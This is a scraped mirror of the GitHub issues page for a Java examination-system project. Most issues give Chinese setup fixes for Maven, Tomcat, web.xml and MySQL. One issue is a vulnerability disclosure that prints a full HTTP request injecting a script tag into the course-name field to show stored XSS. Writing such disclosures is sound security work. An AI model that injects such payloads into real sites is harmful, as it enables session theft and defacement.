Git Product home page Git Product logo

examination_system's People

Contributors

jaceyrx avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

examination_system's Issues

关于删除操作未知错误的请看这里

作者的数据库搭建没有设置外键随父级更新,所以删除操作会有外键冲突问题
这里举例学生页面的删除操作问题修改
在数据库执行以下语句
alter table selectedcourse add constraint FK_selectedcourse_student foreign key(studentID) references student(userID) on delete cascade on update cascade;

终于弄出来了,pom.xml文件中加一些东西。

<plugins> <plugin> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-maven-plugin</artifactId> <version>9.4.20.v20190813</version> <configuration> <scanIntervalSeconds>5</scanIntervalSeconds> <webApp> <contextPath>/</contextPath> </webApp> </configuration> </plugin> </plugins>

`pom.xml的build里面加上上面的的内容,然后用mvn`` jetty:run 启动,不要用Tomcat。然后自己在浏览器输入网址。

你好,你的jar包不全,怎么还有ibatis的包,beanutils的包也没有

我使用的是eclipse最新的版本,解决了项目的导入问题,但是将项目部署到Tomcat中的时候,总是报错,其中的报错都是和tomcat相关的,我已经去掉了servlet-api的引用。你能将项目布置成 在eclipse中的么?我感觉是包的问题,但是有找不到哪里出了问题。谢谢!

登录psgqigshiashiaashigaash ha asi baha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha aha ahaa

这个项目我直接导入没问题,但是我一个一个抄下来过一遍出了Bug,于是我又直接复制粘贴文件夹试试,发现还是一样的问题,输入用户名密码之后没反应,没有进入controller,我直接把你那个项目部署到服务器,输入用户名密码直接报404错误,找了好久不知道为什么。也就是但是你那个直接导入本地没问题,部署到服务器出问题,还有复制粘贴重新弄一个项目也出问题。

作者可以留下联系方式吗

作者您好,项目我已经成功跑起来了,代码有一部分不太理解,想和您探讨下,能麻烦留个联系方式吗?微信QQ都可以

idea终于跑成功了

idea先配置好maven,然后用maven导入项目,进去后等它慢慢下载,我用的mysql5.6所以之后只用修改mysql.properties的密码。

然后项目设置添加下资源文件夹,再修改下web.xml中contextConfigLocation,原为/WEB-INF/classes/spring/applicationContext-*.xml,替换/WEB-INF/classes/为classpath:。

然后用tomcat启动这个项目,但是重要的是这个项目启动的Deployment中Artifity:war exploded中Application context为 / 即可成功启动。

可以运行啦

  1. 要修改pom.xml,保证静态资源可以顺利导出
  2. 要修改IDEA中Tomcat配置的Deployment中的Application Context为 /

若提示登录超时、无此用户...

1.--若提示登录超时、无此用户,先看自己mysql的版本,
注意8.0后版本的驱动为com.mysql.cj.jdbc.Driver
url后需要加?useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT&nullCatalogMeansCurrent = true
来设置编码集,所在时区,避免报错。
我的工程中使用的是MySQL8.0.19,再使用相同版本jar包,添加到pom.xml中

mysql
mysql-connector-java
8.0.19

2.若web.xml下的contextConfigLocation爆红
先改为classpath:spring/springmvc.xml
再在pom.xml里把下的整个修改:


src/main/java

/*.properties
/.xml

false


src/main/resources

**/
.properties
**/*.xml

false

3q分享

将一些问题写在这里,希望对后面的同学有所帮助, 我是先看了issues后才搞的项目.
1,代码上没有问题,除了issues中有位同学提到的login.jsp中提到的action路径问题,我偷懒直接按照那位同学修改的(主要是我不考虑登录功能), 修改后可正常运行,刚兴趣的同学去验证这个到底有没有问题吧!
2,代码的xml配置文件也没有问题, 至于contextConfigLocation配置, 本身默认加载web-info下的配置文件,可以改为使用classpath,根据自身情况来,这个是回复issues中的一个同学提出的问题.之所以加载不到文件是因为编译后的本地包中根本没有这些文件.
3,不明白pom中的build标签的配置是为啥?这里的配置没有指定spring相关配置文件路径, 所以我将resources指定为资源文(idea下必须对文件夹指定)件后,又添加了配置,如下:
<resource> <directory>src/main/resources</directory> <filtering>true</filtering> </resource>
如果不加这个配置,在idea中对项目install本地部署后, 文件目录中不存在spring相关的xml配置文件.
可能同开发工具有关.这个配置可以更加的细化,最终看自身情况吧.
4,这个项目的mysql驱动使用的包是5.1.41版本,但是目前mysql已经更新到8点多了,需要ssl链接校验一类的要求;可将自己的mysql回退到低版本或者将自己的url设置下,如下:
jdbc.url = jdbc:mysql://localhost:3306/examination_system?characterEncoding=utf8&useSSL=false&serverTimezone=UTC&rewriteBatchedStatements=true
然后更改pom文件中的mysql驱动版本为8点几,如下:
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.11</version> </dependency>

已全部弄通

有问题,可关注公众号:国企程序锅,即可解答。

关于项目学习

你好,我最近在学习你这个项目,仿照你的项目做系统。现在有一些不懂的问题,希望能够获得你的联系方式

在IDEA中可以运行了!

参考了之前的issues,总结如下:

  • 更改pom.xml中的resources,删除原有的改成下面的
      <resources>
        <resource>
          <directory>src/main/java</directory>
          <includes>
            <include>**/*.properties</include>
            <include>**/*.xml</include>
            <include>**/*.yml</include>
          </includes>
          <filtering>false</filtering>
        </resource>
        <resource>
          <directory>src/main/resources</directory>
          <includes>
            <include>**/*.properties</include>
            <include>**/*.xml</include>
            <include>**/*.yml</include>
          </includes>
          <filtering>false</filtering>
        </resource>
      </resources>
    
  • 修改login.jsp中的表单action中的/login为login
    <form class="form-horizontal" role="form" action="login" id="from1" method="post">
    
  • 更改web.xml中的contextConfigLocation为以下内容
    <context-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:spring/applicationContext-*.xml</param-value>
    </context-param>
    
  • 配置tomcat时要将Application context改成 /

在Eclipse中跑成功了

导入发现路径都错了,搞得我把jsp的路径全改了一遍,不过最终跑起来了,谢谢楼主,学习一下shiro。

There is a cross site scripting vulnerability exists in Examination_System

[Suggested description]
Cross SIte Scripting (XSS) vulnerability exists in Examination_System.As of March 14, 2022, there was a cross site scripting vulnerability in the master branch.

[Vulnerability Type]
Cross Site Scripting (XSS)

[Vendor of Product]
https://github.com/JaceyRx/Examination_System

[Affected Product Code Base]
v1.0

[Affected Component]

POST /admin/editCourse HTTP/1.1
Host: localhost:7000
Content-Length: 265
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:7000/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:7000/admin/editCourse?id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: locale=zh-cn; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1645520663,1645696647; JSESSIONID=D01E67ABDC192BABF6A2179D70244246
Connection: close

courseid=1&coursename=C%E8%AF%AD%E8%A8%80%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E&teacherid=1001&coursetime=%E5%91%A8%E4%BA%8C&classroom=%E7%A7%91401&courseweek=18&coursetype=%E5%BF%85%E4%BF%AE%E8%AF%BE&collegeid=1&score=3

[Attack Type]
Remote

[Impact Code execution]
true

[Vulnerability proof]
image

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.